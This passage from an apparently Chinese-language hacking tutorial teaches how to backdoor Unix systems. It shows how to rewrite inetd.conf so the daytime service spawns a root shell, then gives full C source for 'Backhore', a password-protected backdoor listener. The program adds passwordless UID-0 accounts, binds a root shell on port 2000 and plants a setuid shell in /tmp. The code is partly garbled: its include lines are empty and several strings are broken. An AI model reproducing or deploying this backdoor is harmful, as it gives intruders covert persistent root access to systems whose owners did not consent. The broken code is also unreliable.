允许的类型列在 protocols 文件中。协议几乎总是是 tcp 或 udp.RPC 服务在协议类型前冠以 rpc/.
4:如果所说明的服务一次可处理多个请求(而不是处理一个请求后就退出)，那么第四栏应置成 wait,这样可以阻止 inetd 持续地派生该守护进程的新拷贝。此选项用于处理大量的小请求的服务。如果 wait 不合适，那么在本栏中填 nowait.
5:第五栏给出运行守护进程的用户名。
6:第六栏给出守护进程的全限定路径名。
7:守护进程的真实名字及其参数。
如果所要处理的工作微不足道(如不需要用户交互)，inetd 守护进程便自己处理。此时第六、七栏只需填上 'internal' 即可。所以，要安装一个便利的后门，可以选择一个不常被使用的服务，用可以产生某种后门的守护进程代替原先的守护进程。例如，让其添加 UID 0 的帐号，或复制一个 suid shell.
一个比较好的方法之一，就是将用于提供日期时间的服务 daytime 替换为能够产生一个 suid root 的 shell.只要将 /etc/inetd.conf 文件中的：
daytime stream tcp nowait root internal
修改为：
daytime stream tcp nowait /bin/sh sh -i.
然后重启(记住：一定要重启)inetd 进程：
killall -9 inetd.
但更好、更隐蔽的方法是伪造网络服务，让它能够在更难以察觉的情况下为我们提供后门，例如口令保护等。如果能够在不通过 telnetd 连接的情况下轻松地进行远程访问，那是再好不过了。方法就是将"自己的"守护程序绑定到某个端口，该程序对外来连接不提供任何提示符，但只要直接输入了正确的口令，就能够顺利地进入系统。以下是这种后门的一个示范程序。(注：这个程序写得并不很完整。)
<++> backdoor/remoteback.c
/* Coders:
Theft
Help from:
Sector9, Halogen
Greets: People: Liquid, AntiSocial, Peak, Grimknight, s0ttle,halogen,
Psionic, g0d, Psionic.
Groups: Ethical Mutiny Crew(EMC)， Common Purpose hackers(CPH)，
Global Hell(gH)， Team Sploit, Hong Kong Danger Duo,
Tg0d, EHAP.
Usage:
Setup:
# gcc -o backhore backhore.c # ./backdoor password &
Run:
Telnet to the host on port 4000. After connected you
Will not be prompted for a password, this way it is less
Obvious, just type the password and press enter, after this
You will be prompted for a command, pick 1-8.
Distributers:
Ethical Mutiny Crew
*/
#include
#include
#include
#include
#include
#include
#include
#include
#define PORT 4000
#define MAXDATASIZE 100
#define BACKLOG 10
#define SA struct sockaddr
void handle(int);
int
main(int argc, char *argv[])
{
int sockfd, new_fd, sin_size, numbytes, cmd;
char ask[10]="Command: ";
char *bytes, *buf, pass[40];
struct sockaddr_in my_addr;
struct sockaddr_in their_addr;
printf("n Backhore BETA by Theftn");
printf(" 1: trojans rc.localn");
printf(" 2: sends a systemwide messagen");
printf(" 3: binds a root shell on port 2000n");
printf(" 4: creates suid sh in /tmpn");
printf(" 5: creates mutiny account uid 0 no passwdn");
printf(" 6: drops to suid shelln");
printf(" 7: information on backhoren");
printf(" 8: contactn");
if (argc != 2) {
fprintf(stderr,"Usage: %s passwordn", argv[0]);
exit(1);
}
strncpy(pass, argv[1], 40);
printf("using password: %sn", pass);
if ( (sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
perror("socket");
exit(1);
}
my_addr.sin_family = AF_INET;
my_addr.sin_port = htons(PORT);
my_addr.sin_addr.s_addr = INADDR_ANY;
if (bind(sockfd, (SA *)&my_addr, sizeof(SA)) == -1) {
perror("bind");
exit(1);
}
if (listen(sockfd, BACKLOG) == -1) {
perror("listen");
exit(1);
}
sin_size = sizeof(SA);
while(1) { /* main accept() loop */
if ((new_fd = accept(sockfd, (SA *)&their_addr, &sin_size)) == -1) {
perror("accept");
continue;
}
if (!fork()) {
dup2(new_fd, 0);
dup2(new_fd, 1);
dup2(new_fd, 2);
fgets(buf, 40, stdin);
if (!strcmp(buf, pass)) {
printf("%s", ask);
cmd = getchar();
handle(cmd);
}
close(new_fd);
exit(0);
}
close(new_fd);
while(waitpid(-1,NULL,WNOHANG) > 0); /* rape the dying children */
}
}
void
handle(int cmd)
{
FILE *fd;
switch(cmd) {
case '1':
printf("nBackhore BETA by Theftn");
printf("theft@cyberspace.orgn");
printf("Trojaning rc.localn");
fd = fopen("/etc/passwd", "a+");
fprintf(fd, "mutiny::0:0:ethical mutiny crew:/root:/bin/sh");
fclose(fd);
printf("Trojan complete.n");
break;
case '2':
printf("nBackhore BETA by Theftn");
printf("theft@cyberspace.orgn<");
printf("Sending systemwide messagen");
system("wall Box owned via the Ethical Mutiny Crew");
printf("Message sent.n");
break;
case '3':
printf("nBackhore BETA by Theftn");
printf("="theft@cyberspace.orgn'>mailto:theft@cyberspace.orgn">theft@cyberspace.orgn");
printf("nAdding inetd backdoor… (-p)n");
fd = fopen("/etc/services","a+");
fprintf(fd,"backdoort2000/tcptbackdoorn");
fd = fopen("/etc/inetd.conf","a+");
fprintf(fd,"backdoortstreamttcptnowaittroott/bin/sh -in");
execl("killall", "-HUP", "inetd", NULL);
printf("ndone.n");
printf("telnet to port 2000nn");
break;
case '4':
printf("nBackhore BETA by Theftn");
printf("="theft@cyberspace.orgn'>mailto:theft@cyberspace.orgn">theft@cyberspace.orgn");
printf("nAdding Suid Shell… (-s)n");
system("cp /bin/sh /tmp/.sh");
system("chmod 4700 /tmp/.sh");
system("chown root:root /tmp/.sh");
printf("nSuid shell added.n");
printf("execute /tmp/.shnn");
break;
case '5':
printf("nBackhore BETA by Theftn");
theft@cyberspace.orgn");
printf("nAdding root account… (-u)n");
fd=fopen("/etc/passwd","a+");
fprintf(fd,"hax0r::0:0::/:/bin/bashn");
printf("ndone.n");
printf("uid 0 and gid 0 account addednn");
break;
case '6':
printf("nBackhore BETA by Theftn");
printf("theft@cyberspace.orgn<");
printf("Executing suid shelln");
execl("/bin/sh");
break;
case '7':
printf("nBackhore BETA by Theftn");
printf("theft@cyberspace.orgn");
printf("nInfo… (-i)n");
printf("n3 - Adds entries to /etc/services & /etc/inetd.conf giving youn");
printf("a root shell on port 2000. example: telnet 2000nn");
printf("4 - Creates a copy of /bin/sh to /tmp/.sh which, whenevern");
printf("executed gives you a root shell. example:/tmp/.shnn");
printf("5 - Adds an account with uid and gid 0 to the passwd file.n");
printf("The login is 'mutiny' and there is no passwd.");
break;
case '8':
printf("nBackhore BETA by Theftn");
printf("http://theft.bored.orgn");
printf(theft@cyberspace.orgnn");
break;
default:
printf("unknown command: %dn", cmd);
break;
}
}
<-->
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